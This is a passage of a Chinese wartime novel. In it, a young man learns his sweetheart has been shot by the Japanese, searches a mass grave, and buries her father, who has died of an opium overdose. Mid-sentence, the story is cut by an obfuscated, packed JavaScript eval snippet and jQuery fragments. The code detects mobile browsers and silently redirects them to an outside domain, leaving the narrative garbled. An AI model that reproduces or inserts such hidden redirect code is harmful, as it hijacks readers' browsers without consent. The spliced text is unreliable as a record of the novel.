芸瑛的“信儿”是转过天的黎明送来的。天将明时力生开了5号的大街门预备去送水，就见门外头放着四四方方一个草绳儿扎的小包袱，拎起一瞧他的腿就软了。那是一件嘎嘎儿新的秋香色自由呢女士大衣，脖领子上厚实如雪不染纤尘的仿狐皮大毛领围早已不知去向，只将大衣叠做齐齐整整的一方。力生捧着那个小包儿，浑身止不住地打起了摆子。日本人的“规矩”他是知道的，他们弄死个人，便会趁着三更半夜将死鬼的衣裳卷裹成个小包袱，神不知，鬼不觉地往这家的大门口一放，如此，就算是送信儿了。
力生无论如何也不能相信自己宝贝儿一般藏在心底的芸瑛，孱弱凄苦，眼睛里的泪总也擦不干的芸瑛，花骨朵儿般含羞待放，让他看也看不够的芸瑛，就这么活不见人死不见尸地没有了，从此这污糟黑暗的世界上就再没了李芸瑛这个人了！？力生捧着那小包袱一路踉跄着来到李志远屋里，噗通一声儿跪在床前，把包袱放到了李志远的枕旁。打从闺女失踪，李志远在急病交加的打击之下一夜抱病，茶饭不思，连大烟也完全没心思抽了。大清早起来猛孤丁儿见张生力跪在床前，也不知他这闹得是哪一出儿，勉强撑起半拉身子，懵然不解地看看小包袱，又看看张力生。张生力哆嗦着嘴皮子，只说了“芸瑛”两个字，便再也挣不出一句话来。
李志远只觉脑内轰然一响，直震得六神无主眼前发黑，瞬间就明白了一切。一老一少两个爷们默然啜泣良久，力生起来抹了把脸，出门扫听消息去了。哪怕人真是没了，他也想着要找回芸瑛的尸首，好好儿地给她下了葬。再要往深里头说，也只有亲眼见着了芸瑛的尸身，力生才能真的相信她是被日本人害死了，往后再也听不见她一声声儿唤自己“力生哥哥”了。只要找不着尸首，芸瑛就有可能死里逃生还活在世上。丧魂落魄地奔了一整天，力生自个儿摸索着跑遍了四九城儿的大小衙门，愣是连大门儿也没能进去，更甭提见上官员老爷的面儿了。呼啸奔腾的西北风里，力生不吃不喝地找啊找啊，却不知该上哪儿才能找到他的芸瑛。最后还是想起曾听晏开泰提过一嘴，日本鬼子枪毙了人，尸首都是直接扔到城外乱坟岗子喂野狗的。一念及此，他踉踉跄跄小跑儿着出了城门。
日暮西斜，力生的心也如残阳般一点一点地向下沉堕。他信着脚儿就近出了永定门，满眼所见尽皆荒烟衰草，永定河早经冰封，河堤两岸再寻不见一个人影儿。力生跌跌撞撞鬼似的晃进了乱坟岗子，真的有尸体！突兀错杂的脚步惊起栖枝的老鸦，声声聒噪乌羽翻飞，力生在心慌意乱里瞥见一具无头的尸。他狂奔至路边，爬在垅头上大口大口地干呕。也不知过了多久，他似已力竭，恍恍惚惚想要撑起身子，随手抄起个枯树枝子似的东西拄了一把，定睛再看时，手里竟拿着一截皮肉脱尽白骨嶙峋的胫骨！力生大叫一声，将那残肢扔出去多远，仿佛被鬼追得一般逃回了城里。星月隐没，夜黑得很彻底。力生游魂儿一般飘进一片死寂的5号，李志远家黑着灯。
力生丧魂落魄地推门而入，点着油灯往床上一照，登时两膝一软跌坐在门槛上。床上的李志远活鬼一般双眼泛白瞪得老大，嘴上糊满了淤黑浓稠的大烟膏子，烟枪就掉落在床边不远的地方，怀里还死死抱着那件秋香色的呢子大衣。芸瑛的死亡彻底击垮了这位前朝贵族苟延残喘的意念，他也心知自己就此算断了活路，闺女就是他的饭辙，闺女没了，他的命数也就到了头儿。且不说自个儿本已经痨病入骨活一天赚一天，单只想想剩下他一个苦熬苦奔地讨生活，李志远便已然活得够够儿的了。乱世之下人不如狗，很多时候咬牙一死，是解脱和享福。力生直愣着两眼从李志远怀里抽出芸瑛的大衣，细看之下触目所及，前襟后背上竟大大小小布满了弹孔，洇染着暗红色的干涸血迹，活像一双双凝血的眼睛，无语望向自己。力生再也支持不住，搂着衣裳呜地哭出了声儿。
李志远的丧仪比起他的福晋来，真可谓天差地别，寒酸简薄得远了。由于族中早已无人，这十来年胡同里的街坊们也从没见他们一家有过什么亲友往来，如今即便想去报个丧音儿，都不知该往哪儿去。时庭林帮着赁了副薄板儿杉木棺材，街里街坊的老邻居们每户给凑了几个钱，好歹装裹发送了李志远入土为安，与他苦命的亡妻生同衾死同穴了。出殡那天飘着雪花儿，天色晦暗阴沉不辨晨昏，呜咽隳突的朔风发出高低不定的嘶吼，情难自禁般替亡人号丧致哀。在两个唢呐吹鼓手断续凄凉的奏乐声中，力生打幡儿戴孝充当起孝子的角色，代替芸瑛送父亲走完此生的最后一程路。他一步一步，走得很稳很慢，缓缓引领四个杠夫抬着棺木走出城外。直到眼看着棺材入了土，力生的心里都飘飘忽忽好像做梦似的。
一夜之间，芸瑛的爸爸李侯爷，就这么成了一堆黄土阴阳两隔。而芸瑛呢？力生更是迷迷糊糊如堕五里雾中。前天晚上临走前，芸瑛不还好好儿地穿着他给买的新大衣，欢欢喜喜说好了要一起上王府井照相去吗，怎么这一去，竟就彻底没了影踪，死生不复再见了呢？思绪万千悲愤交集，力生只觉头疼欲裂发似人揪，他通红如血的双眼中早已没了泪水，呆看着杠夫伙计们将李志远的棺木与亡妻合葬，融为了一团灰败凄凉的土馒头，却是连墓碑也无。时先生曾提议用芸瑛的大衣做个“衣冠冢”，力生没有答应，执意留下来做念想。想不到那件自己节衣缩食大半年，才刚买给芸瑛的时兴自由呢大衣，竟然成了她来这人世间受过十几年苦楚的唯一存证。
力生回来马尾巴胡同已过晌午，予珺和晚秋早早守在5号张罗好了饭。力生进门扫了大伙儿一眼，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835053|175636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再无一句话，端起案上的蓝花儿大瓷碗猛灌了一气儿凉白开，便去里屋倒头而眠。老实巴交的张大发心里不过意，搓着两只老筋纵横的大手，紧着向予珺晚秋解释说:“二小姐，秋姑娘，您二位可千万别挑他的理儿。这混小子打从听说芸瑛格格丢了，就血迷了心似的满世界乱蹿，已经两天两宿没吃没合眼了。他跟芸瑛格格这么些年的情分，我可是全看在眼里，可……唉！冤孽呦！”予珺想起云瑛的音容笑貌，也不觉一下红了眼圈儿:“大发叔儿要说这个话可就外生了，都说远亲不如近邻，又赶上这战乱的年月，谁又准知道自己能活到哪一天呢！能搭把手儿的彼此关照下，也算咱们相互拉扯着往前挣命吧。这些两天您帮李家父女张罗着也乏了，早点儿歇着，我跟晚秋家去了。”
两人结伴出了5号大门，一时间心绪凄迷各自无言。予珺陪晚秋走到聂家门口，方才问她说:“聂老的身子可见好些？药还吃着吗？”晚秋幽然长叹，垂眸答曰:“总不大好，我瞧着怕是时日无多了。”予珺微怔，瞪大双眼问她说:“怎么已经到了这步田地？你怎么早也不和我说！？”晚秋照旧没有看她，只淡然道:“和你说了也于事无补，平白拉上你着急担忧，又是何苦来呢？生在这乱离人不及太平犬的年月里，区区草民，贱命一条，可算什么事儿呢？父亲终究年事已高，可你看看芸瑛，不过十六岁的二八年华，胆小安分人畜无害，日本人怎么就能要了她的命啊！”予珺心念一动，冲口而出:“覆巢之下无完卵，从日本人攻占北平城那天，这一城的人就全上了同一条船，没有哪个人可以苟且偷安，哪怕如芸瑛那般的顺民百姓，也难逃飞来横祸，被禽兽不如的侵略者肆意欺凌！”
晚秋触火般骤然抬眼，像不认识似的上上下下来回打量予珺良久，才满面诧异地问她说:“你哪儿来的这一套一套的古怪论调儿？是予辰哥和你说的？”予珺并未否认，只轻轻地“嗯”了一声儿。又有月余未见大哥了，随着时局一步步沉沦恶化，大哥着家的日子就越来越少了，而芸瑛一家的遭遇也似乎再一次应验了他之前的断言: 唯有全体同胞众志成城同舟共济，团结一致共同抗日，百姓才有活路，民族才有未来！晚秋别过予珺，进门去了，予珺还兀自立在胡同里，任由思绪信马由缰，翻涌奔腾，竟是片刻也不得平息，直至“吱扭儿”一声门响，才惊得她如梦初醒般回过神儿来，只见贾太太闪身而出，一见予珺倒先愣了一愣，眼底里闪过稍纵即逝的惶乱，旋即堆起满脸甜笑招呼道:“呦！二小姐怎么大冷天儿的跟这儿站着呐？是等人还是怎么着？”予珺浅笑道:“才刚跟晚秋说了几句话儿，这就家去了，贾太太回见吧！”转身进门时，予珺在余光里瞥见贾太太转进了7号的门，她也顾不得向深里寻思，只满心里惦念着大哥回进了自己房中。